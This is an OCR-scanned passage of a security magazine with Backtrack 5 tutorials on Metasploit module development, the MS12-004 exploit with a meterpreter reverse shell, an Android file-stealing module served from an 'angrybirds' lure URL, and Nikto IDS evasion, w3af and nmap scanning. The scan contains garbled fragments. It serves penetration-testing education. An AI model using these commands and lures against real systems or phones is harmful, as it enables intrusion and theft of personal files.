‘run_host’. In order to create an auxiliary module
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that targets multiple IP addresses you can define
the run_hosts method with a single parameter
named ‘ip’ and it will iterate through each address
within the RHOSTS variable and perform the en-
tire module against each host. Because this mod-
ule includes the msf::auxiliary::Scanner class, we
can use Metasploit's native threading capabilities
to target this module on multiple hosts in a short
period of time (Figure 4).

The many code libraries, classes, and mixins
that makeup the Metasploit framework are com-
posed of a lot of code! Some is documented re-
ally well, some is not. The Vim IDE is really great
for searching through the framework and find-
ing method definitions or examples of modules
that already use the functionality you are trying
to understand. | will explain two different meth-
ods that you can use to effectively search through
the framework. The first is to use the :vim com-
mand with the /fo0 var/ search operands to pil-
fer through every file within a directory or set of
directories, and display all of the filenames that
matched your search string.

Let’s say that you wanted to build a module with
similar functionality to one of the methods in psexec
command. We can see that on lines 97, 134, and 153,
the method simpie.connect is called within three dif-
ferent methods inside this module. If you wanted
to use that method but were unsure of what it does
or how to properly use it, here is how you would go
about searching for its definition within the frame-
work. First, take notice of its use within the module
you are studying. We see the word ‘simple’ which
we know from Figure 2 is actually just an alias to
the Rex::Proto::SMB::SimpleClient class. This tells
use we are looking for the definition of a method

Figure 3. The initialize method is defined

Figure 4. Defining the run_host(ip) method
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named ‘connect’ inside of a class named ‘Simple-
Client’, which lies somewhere in the vast expan-
sions of the MSF forest. So from our editing pane
window we can run the following command

:vim /def connect/ **/*.rb | copen

If you ran the above command from the root
metasploit-framework directory, you should see a
new bottom pane open up in your Vim editor that
looks something like this (Figure 5).

What we are seeing here is a list of every file
within the framework that contains the character
string ‘def connect’ because that’'s what we typed
in our search operand. We know that we are look-
ing for this pattern within a file called simpleclient
so just as if we were editing a file in the editing
pane, we can search for that character string with-
in the context of our current pane simply by typing
/simpleclient. Typing ‘/’ while in command mode
executes a basic search of only the current docu-
ment or editing window. On my system | now see
that this file lib/rex/proto/smb/simpleclient.rb lo-
cated on line 159 of my initial :vim search results
contains the character string det connect (share).

This is where the method we are interested in
is defined, awesome! If we place our cursor over
line 159 and press enter, Vim automatically opens
up that file in the current editing pane and jumps
to line 274 where the method is defined. Being
able to perform these types of advanced search
functions will be crucial through your development
stages as you will be spending a lot of your time
sorting through other people’s code trying to fig-
ure how it works and what might be the best way
to accomplish whatever you are trying to do with
your module.

| prefer the previously discussed method for
searching but it is worth mentioning that another
option is to recursively open up the entire frame-
work in the NERDTree pane and then use ' to
quickly jump to the file name of the particular class
you are interested in learning about. At least if you
use this method, you can then open up the various
files you are looking through in their own respec-
tive tabs. This method would probably prove more
useful when dealing with a smaller project that has
only a few hundred unique files.

Submitting your module for merger into
the framework

So now that you have spent some valuable time
building a really cool module and would like to sub-
mit it into the framework, there are a few things you
have to make sure to do first. Remember when we

HaHIN9 .



created testbrancni at the beginning of the article?
Hopefully you have followed the Rapid7 guidelines
and created a specific branch for your newly de-
veloped module. In order to submit a pull request
to Rapid7, you’ll have to first get the changes on
your branch sitting on your local Backtrack system
to match up with the branch that is accessible on
the Internet via your Github account. To do this you
need to issue the git adda command to synchronize
the new file into the branch’

$ git add ~/dev/metasploitframework/path/to/module.rb

Next you have to commit the changes. Proper
git etiquette is to provide a useful message de-
scribing the changes you have made to an exist-
ing file or that you are creating/adding a new one.
This is such a powerful and underutilized feature
because if you screw up your code later on in al-
ways dreaded post-development stage (I like to
call it the “Why didn’t | do it this way” stage), you
can always revert back to a previous commit.

$ git commit -m “First commit for my new awesome module”

Finally, you can push your changes to your re-
mote Github account with the ‘push’ command.
You'll want to specify the branch name when
pushing changes.

$ git push origin testbranchl

Authenticate with your Github username and
password when prompted and you're all set. Addi-
tionally, you can add an extra layer of security us-
ing SSH keys to restrict push requests from origi-
nating somewhere other than your Backtrack dev
box. Take a look at the Github help pages for in-
formation on setting this up if you are interested.
The last step is to navigate to your Github user
account from within an internet browser and se-
lect from the dropdown menu the branch where
your new file has been added. Click through the
appropriate directories within the framework un-
til you have selected your module. Click on the
Pull Request button at the top of the page. Give
your pull request a name, something like “Added
New Module auxiliary/admin/smb/blah.rb.” Use the
comment pane to provide any additional context

lib/anemone/http.rb Line:4/186[2%]Col:1Buf:#26[@] [6x0]
illib/anemone/http.rbj145 col 5| def connection(url)

Figure 5. Search results for /def connect/
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as to why your module is useful and should be in-
cluded into the framework. | usually paste in a few
screenshots of the command output just so the de-
veloper who is assigned to review it has a general
idea of its usage right from the start. All you have
to do now is wait for a developer to review your
code, they’ll either provide feedback that requires
you to make additional code changes, or if every-
thing works out, they will merge your module into
the framework.

Conclusion

So hopefully by now, you should have a pretty solid
Metasploit development environment setup within
Backtrack. We've covered the basics of using the
Vim IDE to help speed up your coding process.
We've also discussed how to setup an account
with Github and what are the proper steps for sub-
mitting a module for merger into the Framework.
Additionally | would like to conclude with some ref-
erences to some other really great sources that
can further your knowledge of Metasploit develop-
ment and ultimately my goal is to encourage users
of Backtrack to take the time to help out and con-
tribute tools and modules not just to Metasploit but
to all Open Source projects. Well, at least all the
ones that you use and reap benefits from.
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Use Metasploitin

Backtrack 5

Metasploit comes in several flavors: Metasploit framework,
Metasploit community edition, Metasploit pro. In Backtrack
5, Metasploit framework is installed by default. Metasploit
framework provides you with information on security
vulnerabilities which can be used to exploit a system.
Penetration testers can also use this tool to launch manual

or automated scans.

efore you actually could exploit a system,
B you need to know if the system is vulnerable
for a certain type of attack.

What is a vulnerable system?

Avulnerability is a weakness in software, hardware
that enables the attacker to compromise the con-
fidentiality, integrity or availability of that system. A
system can be but not limited to: a server running
an operating system, router switch, firewall, mobile
devices, TV, etc. For example: when an attacker
launches a distributed denial of service attack, he
enables the unavailability of a system. If data is in-
tercepted and changed, he enables integrity.

An attacker can use a vulnerability to compro-
mise a system. For example a weakness in a pro-
tocol allows the attacker to run arbitrary code.

The attacker launches the exploit on the vulner-
able system. Based on the actual payload send to-
gether with the exploit, the attacker receives a (re-
verse) shell.

If you understand the vulnerability, it will help you
to implement the appropriate security control. A se-
curity control can be a patch or a security device.

Important to know is that you understand the vul-
nerability context:

* Where do they exist?
* Where do they run?

So, what is the exploit context?

« HaRINS
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» Exploit runs where the vulnerability exists
 Where does it run, client side or server side?

Example 1

Let say, you have a server located into the DMZ.
The vulnerability context is the server itself and the
exploit context is the DMZ. If an attacker can com-
promise a vulnerable server in the DMZ, he has
properly access to all servers in that DMZ. The at-
tacker can use other techniques like pivoting to ac-
cess servers in the internal network.

Example 2

If a client computer is placed on a client LAN,
the vulnerability context is the client and the ex-
ploit context in the client LAN. If an attacker can
compromise a vulnerable client in the LAN, he has
properly access to all resources on the client LAN.

Client-side exploit

If a vulnerability exist on a client, it can be compro-
mised by a client-side exploit. Client side vulner-
abilities lives in Java, operating system, applica-
tions such as web browser, Office, Acrobat Reader.
The attack is basically launched by tricking the user
to click on a link embedded in an email, or send
the user an attachment which contains the exploit.
When the user clicks on the link, the user is redirect-
ed to a website which contains the actual code to
launch the exploit. A traditional firewall does not help
this attack from happening, since the user opens a
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Flgure 1 Output search command

connection over port 443 or port 80. These ports are
usually allowed on the firewall. Before a system can
be exploited, you can take the following steps:

Choose and configure the module in Metasploit
Select a payload, which provides the attacker a
remote shell

Optionally, you can encode the payload so that
it is not detected by anti-virus software

Launch the exploit

Okay, let’s have a look into the following vulnera-
bility: MS12_004: Vulnerabilities in Windows Me-
dia Could Allow Remote Code Execution

Use Metasploit in Backtrack 5

: E—— )
Flgure 2. Output info command

Information

If the user opens a special crafted media file, the
vulnerability could allow remote code execution. If
the attacker can successfully exploit the vulnera-
bility, the attacker could obtain the same rights as
the logged on user.

Step 1: Search for an existing module
In Metasploit, you can search for a module by us-
ing the following command:

msf> search <module>

' OWASP Foundation
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Figure 3. Output show options command

Where <noduie> is the name of the module you are
searching for. In Figure 1, you can see the output
from the search command.

msf> search msl2 004

Step 2: Retrieve more information about
the module

Use the command info <module> to obtain more in-
formation about the module.

msf> info exploit/windows/browser/msl2 004 midi

In Figure 2, you can retrieve more information of the
target and also an explanation on the needed vari-
ables. A list of the available target is also available.

Step 3: Choose and configure the module
in Metasploit

After you know which module you want to use, you can
select the module and assign the appropriate variables.

S o Em——
Figure 4. Configure variables
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Figure 5. Configure payload settings

msf> use exploit/windows/browser/msl2 004 midi

From this point, you need to fill in the variables.
These are needed as input to finally exploit the
target. To know which variables need to fill in, use
the command show options a@s shown in Figure 3.

Variable SRVHOST

This variable is used to specify the local host to lis-
ten on. In this example, you have to specify the IP
address of your Backtrack machine.

msf> exploit(msl2 004 midi)> set SRVHOST 10.32.5.10

Variable SRVPORT
This variable is used to specify the local port to listen on.

msf> exploit(msl2 004 midi)> set SRVPORT 80

You can see the result of defining these variables
in Figure 4.

B a8 fmm—
Figure 6. Launching the exploit
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Figure 7. Client connects to web server

Variable URIPATH
This variable is used to use the default URI.

msf> exploit(msl2 004 midi)> set URIPATH /

Step 4: Select a payload, which provides
the attacker a remote shell

It is time to select your payload. There are a lot of
payloads available, but you have to select the one
which works for you. In this example you have to
select the meterpreter as payload. You can select
this payload by using the following command.

msf> exploit(msl2 004 midi)> set payload

windows/meterpreter/reverse tcp

When launching show options again, you can see
which variables need to be filled and used by the
payload. First specify the IP address of the local
host you are listening on. This IP address is need-
ed to setup our reverse shell, thus from the com-
promised client back to our machine. Also specify
the port that your machine is listening on.

msf> exploit (msl2 004 midi)> set LHOST 10.32.5.10
msf> exploit (msl2 004 midi)> set LPORT 8080

33K 1 B
Figure 8. Verifying the connection
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SSrT T
Figure 9. O

utput of show sessions

The result of setting these variables is displayed
in Figure 5.

Step 5: Launch the exploit

After choosing the exploit, selecting a payload and
defining all variables you are ready the launch the
exploit. You can use the following command:

msf> exploit(msl2 004 midi)> exploit

After launching the exploit, the web server is
started and listening on port 80. You can see the
result in Figure 6.

Step 6: Use a web browser on the client to
connect to the web server

This can be a tricky part. You need some assis-
tance from the end user here. You have to send the
link of your web server so that the user can click on

oL Y Jeow
Figure 10. Interact with sessions
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Figure 11. Output of getuid

that link and is redirected to your web server.
Figure 7 shows you the IP address of the desti-
nation web server the user is connecting to.

Step 7: Verifying the connection
When the user has a connection to your web serv-
er, the crafted file is send to the web browser of the
user account. When the file is executed success-
fully, a reverse connection is created and the at-
tacker has access to the machine of the end user.
You can see in Figure 8 that a connection is cre-
ated successfully.

Step 8: Interact with the session
You can use the following command to list the ses-
sions:

msf> exploit (msl2 004 midi)> show sessions

Figure 9 show you the available sessions. You
can see that we have one session and the admin-
istrator is currently logged on.

LY Lo —
Figure 12, Output of ps
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. Closing your session

Each session is numbered as you can see in the
above table under Id. To interact with this session
you can use the following command:

msf> exploit(msl2 004 midi)> sessions -i 1

After interacting with a session, you successfully
have now a meterpreter session. Notice that the
prompted has changed. To retrieve information
on the currently logged user, use the command
getuid as you can see in Figure 11.

To retrieve a list of all running processes on the
target machine, use the command ps as you can
see in Figure 12.

Step 9: Close your session
To close your session, you can use the command
exit as seen in Figure 13.

Conclusion

If applications, operating systems, etc are not
properly patched, an attacker can use the weak-
nesses in these systems to gain access.

JOHAN LOOS

Johan works as a freelance informa-
tion security specialist/trainer and is
owner of Access Denied bvba, a Bel-
gian based company. He focus on eth-
ical hacking, wireless security, vulne-
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Android Exploitation
with Metasploit

In this article, we will be looking into the practical usage
of Backtrack, and its tools. The article is divided into three
sections — Android Exploitation through Metasploit, Nikto
Vulnerability Scanner and w3af. The reader is expected

to have basic knowledge of Backtrack and familiar with
common web application vulnerabilities.

among Penetration Testers and InfoSec pro-

fessionals. It could be used for a variety of
purposes and against a variety of targets. In this
article, we will discuss a lesser known module in
the Metasploit Framework, which could be used to
steal any file from an Android phone, given; it navi-
gates to the attacker’s URL. This vulnerability was
discovered by Thomas Cannon in 2010, which le-
verage a Content:// URI multiple disclosure. Now,
let’s go ahead and run the exploit in Metasploit.

T he Metasploit Framework is well known tool

Usage
The prerequisite to run this exploit is the victim
phone must be running Android 2.3.4 or less, and

Figure 1. Android modules in Metasploit

should be rooted, in case you want to get system
files. Open up the Metasploit Framework, by typing
in msfconsole (Figure 1).

root@bt:~# msfconsole
msf > search android

Right now, only two android modules are present in
the Metasploit Framework (Listing 1). We are here
interested in the first module, which is android
Let's have more information
about this exploit (Listing 2). To use this exploit:

htmlfileprovider.

msf > use auxiliary/gather/android htmlfileprovider

Figure 2. Setting up the options for Android exploit

Listing 1. Matching modules |

Matching Modules

Name
auxiliary/gather/android htmlfileprovider
Disclosure

auxiliary/scanner/sip/sipdroid ext enum

Rank Description

normal Android Content Provider File

normal SIPDroid Extension Grabber

w HAaRIMNSG
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Android Exploitation with Metasploit

Type show options to get a list of options associ-
ated with this particular module.

Here, SRVHOST is the local host on which we will
be running the exploit server; SRVPORT is the port
number on which we want this exploit to run, which
we select to be 80 in this case. URIPATH is the path
of this exploit on your server. We select this to be /
angrybirds. So, that it is easier to convince the vic-
tim, to navigate to this URL using his android phone

Listing 2. Matching modules I

msf > info auxiliary/gather/android htmlf-
ileprovider

Android Content Provider File Disclosure

Module

ileprovider

14774

Metasploit Framework License (BSD

Name

auxiliary/gather/android htmlf-

Version
License
Rank: Normal
Description
This module exploits a cross-domain issue
within the Android web

browser to exfiltrate files from a vulnerable device.

Figre 3. unng the xlt

(Figure 2). The last option to set is the FILES. By
default the files parameter is set t0 /proc/version,/
proc/self/status, /data/system/packages.list.

If we would have wished to add another file,
which is to be stolen, for suppose, an image tak-
en from the camera application for the phone. We
would set the FILES to /mnt/sdcard/pciM/cCamera/
Img001.jpg.

Msf auxiliary(android htmlfileprovider)>set FILES /
mnt/
sdcard/DCIM/Camera/Img001.jpg

Type in run to launch the exploit.

msf auxiliary(android htmlfileprovider) > run

*] Auxiliary module execution completed

*

[*]
[*] Using URL: http://10.0.53.75:80/angrybirds
[*] Server started.

Navigate to the URL http://10.0.53.75/angrybirds
using the victim's Android phone. Here we could
use any browser to navigate, either the Default
Android browser, or any other installed browser
(Figure 3).

File Edit view Terminal Tabs Help

rooti@bt: /pentestiweb/nikto

® .mnl@hr: Jpentestiwehynikto

Figure 4. Running Nikto in normal mode
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4 .mnt@h‘r: Jpentestweb/nikto »®

HaHIN9 .


http://10.0.53.75/angrybirds

Listing 3. Nikto ShellCode Ill

root@bt:~#./nikto.pl -list-plugins
Plugin: ssl
SSL and cert checks - Perform checks on SSL/Certificates
Written by Sullo, Copyright (C) 2010 CIRT Inc.
Plugin: dictionary
Dictionary attack - Attempts to dictionary attack commonly known directories/files
Written by Deity, Copyright (C) 2009 CIRT Inc
Plugin: headers
HTTP Headers - Performs various checks against the headers returned from an HTTP request.
Written by Sullo, Copyright (C) 2008 CIRT Inc.
Plugin: auth
Guess authentication - Attempt to guess authentication realms
Written by Sullo/Deity, Copyright (C) 2010 CIRT Inc
Plugin: cgi
CGI - Enumerates possible CGI directories.
Written by Sullo, Copyright (C) 2008 CIRT Inc.
Plugin: cookies
HTTP Cookie Internal IP - Looks for internal IP addresses in cookies returned from an HTTP request.
Written by Sullo, Copyright (C) 2010 CIRT Inc.
Plugin: outdated
Outdated - Checks to see whether the web server is the latest version.
Written by Sullo, Copyright (C) 2008 CIRT Inc.
Plugin: msgs
Plugin: robots
Robots - Checks whether there's anything within the robots.txt file and analyses it for other paths
to pass to other scripts.
Written by Sullo, Copyright (C) 2008 CIRT Inc.
Plugin: report csv
CSV reports - Produces a CSV report.
Written by Deity, Copyright (C) 2008 CIRT Inc.
Plugin: apacheusers
Apache Users - Checks whether we can enumerate usernames directly from the web server
Written by Javier Fernandez-Sanguinoi Pena, Copyright (C) 2008 CIRT Inc.
Plugin: favicon
Favicon - Checks the web server's favicon against known favicons.
Written by Sullo, Copyright (C) 2008 CIRT Inc.
Defined plugin macros:
@@NONE = "™
@Q@ALL = "ssl;dictionary;headers;tests;auth;cgi;subdomain;report text;report
xml;report_metasploit;embedded;report_html;content_search;cookies;outdated;msgs;muti
ple index;httpoptions;put del test;robots;report csv;apacheusers;favicon;apache expect
xss;report nbe"
@@DEFAULT = "@@ALL;-Q@MUTATE; tests (report:500)"
(expanded) = "httpoptions;headers;mutiple index;outdated;put del test;auth;report xml;report
nbe;apacheusers; report metasploit;cookies;apache expect xss;embedded;ssl;favicon;cgi;content
search;report csv;msgs;report html;tests(report:500);robots;report text"
@@MUTATE = "dictionary;subdomain"
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Android Exploitation with Metasploit

Figure 5. w3af consoleU!

The msfconsole will send the exploit payload,
and in return will receive and display back, all the

information stored in the different files stored in the
files parameter. While using this exploit with an im-
age, the result you get will be encoded in Base64,
so you'll have to first convert it to an image format,
before viewing it.

Conclusion

This is how the new generation pwnage takes
place through mobile devices. In mobile exploita-
tion, this is just the tip of the iceberg, a lot more is
yet to happen.

Figure 6. list of profiles to be used for audit

Nikto

Nikto is a small, compact and efficient open
source web security scanner by Sullo. Written
mostly in Perl, it could perform tests against web
servers, including over 6000 potentially danger-
ous files/CGls, outdated versions, and vendor
specific problems on over 1000 servers.

The main objective of Nikto is to scan the web-
site to find “interesting files” and look for common
web application vulnerabilities. It checks through
finding misconfigured and default files and pro-
grams installed on the web server.

Usage
The basic Nikto scan requires just specifying the
target URL parameter though -host (Figure 4).

Workbooks.com
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small and medium sized businesses

Find out how Workbooks CRM
can help you

- Increase Sales
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Figure 7. Setting up the target options for audit
root@bt:~# ./nikto.pl -host http://targeturl.com

The different configuration of the tool could al-
so be modified according to the need. The de-
fault Nikto configuration file is located in the path
/pentest/web/nikto/nikto.conf. The results of nikto
could be presented in 3 different file formats: HT-
ML, txt and CSV. Defining a output file format
could be done by using the -f parameter

root@bt:~#./nikto.pl -e 3 -host http://targetsite.com
-F html -o results.html

Nikto provides us a range of options while per-
forming the scan. For example: We could also
specify the ports on which the scan has to be per-
formed, along with proxy through which the scan
process has to be executed.

root@bt:~#./nikto.pl -h 10.0.53.1 -p 80,88,443
-useproxy 127.0.0.1:8080

To get a full list of different parameters, type in
root@bt:~#./nikto.pl

Another feature of Nikto is, it could be integrated
with other security tools such as NMap and Nessus
for better results. Nikto comes with a list of plugins,
which further expands its capabilities of scanning.
To get a list of all the plugins available: Listing 3.

Now suppose, For example, we want to use the
plugins cookies, outdated and msgs, we would be
specifying the plugins name, with the parameter —
Plugins, after the host name on which the scan has
to be performed.

Figure 8. Plugins which could be used during the scan. Each
plugins has different sub-modules
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Figure 9. Information about the audit plugin

root@bt:~#./nikto.pl -h example.com -Plugins cookies;
outdated; msgs

To use all the plugins at once, specify it with the
plugin paremeter @all.

root@bt:~#./nikto.pl -h example.com -Plugins @all

IDS Evasion

A normal Nikto scan will generate a lot of access
logs, which would alert the IDS and webmasters
about something fishy going in the network. To
come over this problem, Nikto uses a set of tech-
niques to avoid getting detected.

It uses the RFP’s LibWhisker for its IDS evasion
techniques. Though not too advanced to evade the
best IDSes today, it could avoid getting detected by
a large no of IDS. At present, there are 9 evasion
techniques available.

* Random URI encoding (non-UTF8)

» Add directory self-reference /./

* Premature URL ending

» Prepend long random string to request

» Fake parameters to files

» TAB as request spacer instead of spaces
* Random case sensitivity

Fgr10. list of sub-modulein he discoery plu g -
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Figure 11. Setting up the output options for the audit result

* Use Windows directory separator \ instead of /
+ Session splicing

To use an evasion technique:
We just have to specify the - parameter along
with the evasion technique number.

For ex: root@bt:~#./nikto.pl -u http://targetsite.com
-e 314.

This will activate the evasion techniques namely
“Premature URL Ending”, “Random URI Encod-
ing” and “Prepend long random string to requests”

Conclusion

Nikto, even though not being a full penetration
testing tool in itself, does helps in identifying the
common vulnerabilities existing on a web server. It
also comes handy, when the penetration testing is
to be performed within a short period of time limit.

W3AF

Another vulnerability assessment and exploitation
tool in the Backtrack suite of tools is the well-known
w3af. Web Application Attack and Audit Framework
or w3af is an open source web security tool, made
by Andres Riancho. Written in Python, the main
power of w3af lies in its over 100+ plugins, which
we will be seeing further in this article. w3af, un-
like Nikto, not only finds the vulnerabilities, it also
goes a step ahead and exploits the found vulner-
abilities to get further access to the target. The pl-
ugins of w3af are divided into 8 parts, according to

Figure 12. Audit in progress with the selected profile and
plugins
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Figure 13. Writing the automation script including the list of
commands

their usage namely: Discovery, audit, grep, attack,
mangle, evasion, attack and bruteforce. The vulner-
abilities share their knowledge with each other using
a knowledge base. We could also use w3af in order
to send fuzzy and manual HTTP requests with the
vulnerability found, to the target server. W3af can be
operated in both modes: Graphical User Interface
(gtkUl) and Console User Interface (consoleUl). In
this article, for the sake of simplicity, we will be using
the w3af in consoleUl mode.

Usage
Let’s first of all launch the w3af console and have a
look at all the available options (Figure 5).

root@bt:/pentest/web/w3af# ./w3af console
w3af>>> help

The first step here is to select a profile. A profile is
generally the selection of particular modules from the
plugins which would be activated during the audit.

Navigate to the profiles menu, and list all the
available profile options (Figure 6):

w3af>>profiles
w3af/profiles>>>1ist

This shows us all the available profile options in
w3af, which could be used in an audit. One could

Figure 14. Automation in progress
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also manually select the modules from the plugins.
But, in order to reduce the human effort and fasten
up the process profiles were developed.

Let us now go ahead and chose the profile ownse_
top10, Which searches for the OWASP Top 10 vul-
nerabilities and exploits them.

w3af/profiles>>>use OWASP TOP10

After selecting the profile, we should now select
our attack target.

w3af/plugins>>> back
w3af>>> target

w3af/config:target>>> view

The target contains the following options, which
could be specified by user about the target: targe-
tOS, targetFramework and target itself.

Let us suppose that we don’'t exactly know
the target Operating System and Programming
Framework being used. So, we will only set the
target URL.

w3af/config:target>>> set target
http://10.0.53.242/attackme

After the target has been set, let's have a look at
the plugins, and select if necessary.

To view information about a particular plugin,
navigate to plugins, and type in help [plugin-name].

w3af>>> plugins
w3af/plugins>>> help audit

To view the modules stored in a plugin, just type
in the [plugin-name], and it will bring up the mod-
ules within that plugin.

w3af/plugins>>> discovery

We could either select the modules to be used
from this list or opt to use all of them. Since, we
have already selected the ownse tori0 profile; it
has automatically enabled the associated mod-
ules of the plugins with it. To enable a module
which is not selected at present, for example,
phpinfo in our case,

w3af/plugins>>> discovery phpinfo
The above command would also enable the
phpinfo module of the discovery plugin. After set-

ting up the plugins, let us move forward and set
the output methods of the audit process. We want

w HAaRIMSG
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to set it to show up in console, and also get saved
as text and an HTML file.

w3af/plugins>>> output console, textFile, htmlFile

Type in output again, to make sure, if they have
been enabled.

w3af/plugins>>> output
To start the audit, go back, and type in start.
w3af>>start

It will now perform the audit and show the output in
console, as well as save it in a text and html file. An
important feature of w3af is its automation capa-
bilities. W3af offers creation of scripts which could
be executed, and would run the above audit using
the same commands which we used just now, so
that we don’t have to type each and every com-
mand again when we are auditing. To do this,
create a filename, with the extension w3af in the
same folder, where w3af is present. Type in it, the
commands in sequential order, which needs to be
executed. In our case, it is profiles, list, use owasp
TOP10, back, target, set target http://10.0.53.242/
attackme,

back, plugins, discovery phpinfo, output

console, textFile, htmlFile, output, start.

Save the filename as anyname.w3af as stated
above. Now, launch the w3af console, with the
script parameter to be the filename just created.

root@bt:~#./w3af console -s Adi.w3af

Conclusion

To conclude, w3af is an wonderful Penetration
Testing tool, which finds the vulnerabilities and al-
so exploits them. In real life scenario, this is often
used along with Nikto Scanner to get better results
about the vulnerabilities on the server.

ADITYA GUPTA
Aditya Gupta is a well-known Mobile Securi-
ty Researcher and Penetration Tester. His main
expertise includes Exploiting Web Applica-
tions, Evading Firewalls and Exploit Research.
w120 Aditya is responsible for the discovery of ma-
/. ny serious vulnerabilities in websites such as
Google, Apple, Microsoft, Skype, Adobe, and
a variety of other major software technologies. Aditya has
worked on many Android security projects and has been a
frequent speaker to many of the conferences.He can be fol-
lowed on twitter at @adi1391.
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Nmap: For Newbies

As a former Network Warfare Instructor for the US Air Force,
| get asked a lot of questions: among the most common is
what did you teach, or can you not talk about it? The simple
answer is | taught a subset of Air Force Doctrine known as

Network Defense, or NetD for short.

protection of information residing in, or
transmitting through, network information
systems (NIS). The big distinction here is that
no differentiation is made between the standard
TCP/IP computer networks, telephony (SS7 and
cellular), radio, or even industrial control and utili-
ties systems (ICS and SCADA). All networks are
afforded equal protection, and for good reason: in
today’s increasingly interconnected world, these
systems are converging as well. The big problem
is many systems, I'll use SCADA as an example,
were developed decades ago and there was no
thought given to security, not because they didn’t
care about security, but why worry about device
signing, certificate checking, and data encryp-
tion on a closed network? What does that have to
do with nmap? You ask. To be blunt, everything:
Nmap was one of the basic tools we would start
students on. It's open source, so free, and rea-
sonably easy to get using right away for basic net-
work scans.
| say nmap is relatively easy to get using, but
take that with a grain of salt. As you can see in the
screen capture below, by running nmap -help, we
are presented with a wealth of option flags for our
use (Figure 1).
For the very new, here’s the run-down on how
I’'m currently set-up. It's a little bit more complicat-

w HAaRIMSG

T he premise of NetD is simple enough: the

<)

ed than | describe here, but these are the basics
(for a complete run-down of everything, see the
notes section at the end of the article). I'm running
a Linux distribution called Backtrack 5 R3; Back-
track is a highly-customized Ubuntu Linux load
with hundreds of tools preinstalled. These tools
are designed for the professional network penetra-
tion tester (pentester) and the network security ad-
min. However, as with all test and administration
tools, they can be used for nefarious purposes. My
target will be my other computer, running on the

[eea o BT5R3I-64

"= T |

Figure. 1. nmap has a wealth of option flags
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same internal-only network, and its running Win-
dows 7 Home Edition.

Alrighty then, lets get down to the nitty-gritty, right?
Not so fast. We have to start off with the question
of what is nmap? Nmap is a powerful, command-
line based, open-source packet sniffer and network-
mapping tool. It can determine, among a great ma-
ny other things, what services and their versions are
running on particular ports at a particular IP address
or range of IPs, as well as what operating system
and version is running. Using this tool, you can be-
gin mapping your network and possibly identifying

Figure 2. Using nmap without any flags still provides some
interesting results

Figure 3. Using this option, we can see a table of port
numbers, services, and versions

Nmap: For Newbies

rogue systems and/or services. Nmap, when deter-
mining running services doesn’t simply reply on the
port number, it can actually run what’s called ban-
ner-grabbing to get the actual service and version
number of the service.

Figure 4. Using this information, we can determine if our
system is vulnerable to an attack

Figure 5. Hard rind, squishy innards (Photo credit: http://
en.wikipedia.org/wiki/File:Watermelons.jpg)
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Figure 6. In JRR Tolkien’s “Lord of the Rings,” he describes the city of Minas Tirith as hawng multiple concentric rings of
defensive walls. This is layered security. As we discover in the screenplay adaption from New Line Productions though, the
layers mean little when the attackers have an air force. (Photo credit: © 2003 New Line Productions, Inc. All Rights Reserved To

Copyright Owner(s))
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So now what do we need? Go ahead and think
about it, yell out the answer when you’ve got it, Ill
wait... Did you answer we need an |IP address to
scan? Is so, pat yourself on the back and go grab
yourself a cookie. We need an IP to scan, and from
looking at the top of the results from the -heip Op-
tion earlier, we know the nmap syntax. Let's say
the IP we've chosen is 172.16.164.132, this hap-
pens to be the current IP of my Windows laptop,
we type itin: nmap 172.16.164.132 and we get our
results: Figure 2.

ee @ Laptop VM (Windows 7 x64): General

|« » || ShowAll Add Device... |

Name Laptop VM (Windows 7 x64)
OS5 Windows 7 x64

Notes

Start automatically when VMware Fusion launches

Total Size: 138.5 CB

B Hard Disks M Snapshots

Reclaimable >
1385 CB 0 bytes -

Disk space cannot be cleaned up and the guest OS5 type cannot be changed until the virtual
machine is shut down

20 % Laptop VM (Windows 7 x64): Processors & Memory

< > Show All Add Device...

Processors
This virtual machine is configured to use

Memory

Increasing the memory allocation of the virtual machine can improve performance
but may also reduce the performance of other running applications.

MB

Recommended value 2048 M

b Advanced options ?
The settings on this page cannot be changed until the virtual machine is shut down.

a6 2 Laptop VM (Windows 7 x64): Network Adapter

[« > ][ ShowAll

Enable Network Adapter [T |

This network adapter is configured to use:

The virtual machine is connected to your Mac using
a private virtual network. The private netwerk is not
normally accessible from the physical networks on
the Mac.

@ Share with my Mac
@ Autodetect
@ Wi-F

@ Ethernet
@ Bluetooth PAN

Multiple virtual machines can be connected to the
same private network.

Custom
8 Private to my Mac ®

» Advanced options T

Figure 7. VM and network setup
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We see now, without using any option flags, the
results are pretty basic. So let's add some option
flags. From the -ne1p option, we know -s gives us
the services running and -v gives the versions. We
therefore run nmap -sv 172.16.164.132 and we get
more detailed results: Figure 3.

Some of the interesting things we see in these
results are five open ports, all TCP ports: 135 is for
Microsoft Remote Procedure Call [1], 139 and 445
and being used by NetBIOS [2], 2869 is running an
HTTP services called Microsoft HTTPAPI [3], and
50003 is TCPWrapped [4].

All this information is a gold mine for security
analysts and hackers alike. SAs use it to find the
holes and unsecured systems on their networks
quickly and easily. Hackers will use the informa-
tion to match their exploits with potentially flawed
service versions they find. Hacking, at it's most
basic, can be defined as using administrative
tools in ways for which they were not originally
designed.

While we’re on the topic, there are three types
of hackers and they’re divided into different col-
ored hats: black hats are out to steal information
or extort you or your business, white hats are the
pentesters, these are people hired by individuals
or organizations to find and exploit weaknesses in
networks before the black hats get there, the third
hats are the grey hats, these often blur the line by
balancing a day job on the legal side with a hobby
on the nefarious side.

Now let’'s get back to nmap. Now that I've identi-
fied the services and versions, and found there’s a
published exploit for the service version, | need to
know if the operating system is vulnerable to the
exploit. Some exploits will only work on certain ser-
vices and versions running on certain operating
systems and versions. From the -ne1p | ran earlier, |
discovered the -o option to get the operating system
information. By running nmap -0 172.16.164.132 |
get the following results: Figure 4.

Something | will recommend doing though is
running these scans on a regular basis, both from
inside and outside your network (boundary fire-
wall). If vulnerable services are found, | strongly
recommend upgrading them to newer versions.
If upgrading is not an option, say for legacy sys-
tems, | recommend a combination of internal fire-
walls and security VPNs. These will help prevent
the vulnerable systems from being used as pivot
points for hackers to attack the rest of your net-
work. I've seen too many networks with very nice
hard outer shells, but once inside, everything is
open. | liken them to a watermelon: thick hard
rind protecting the squishy innards, but get inside
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Figure 8. nmap’s veritable plethora of options (Map credit: http://nmap.org/docs/nmap-mindmap.pdf)

and it’s just that, soft and squishy. For this rea-
son | endorse the layered security, or defense-in-
depth, method of network security (Figure 5 and
Figure 6).

This will conclude the beginner’s guide to nmap.
Look for upcoming articles on using these results
to perform some white hat hacking of your own
using other tools built into Backtrack: Metasploit,
TFTP, John the Ripper, and others.

Refernces

[1] Used in programming to call sub-routines without
the programmer needing to explicitly code the de-
tails of interaction.

[2] Network Basic Input/Output System. Used to allow
applications on separate computers to share infor-
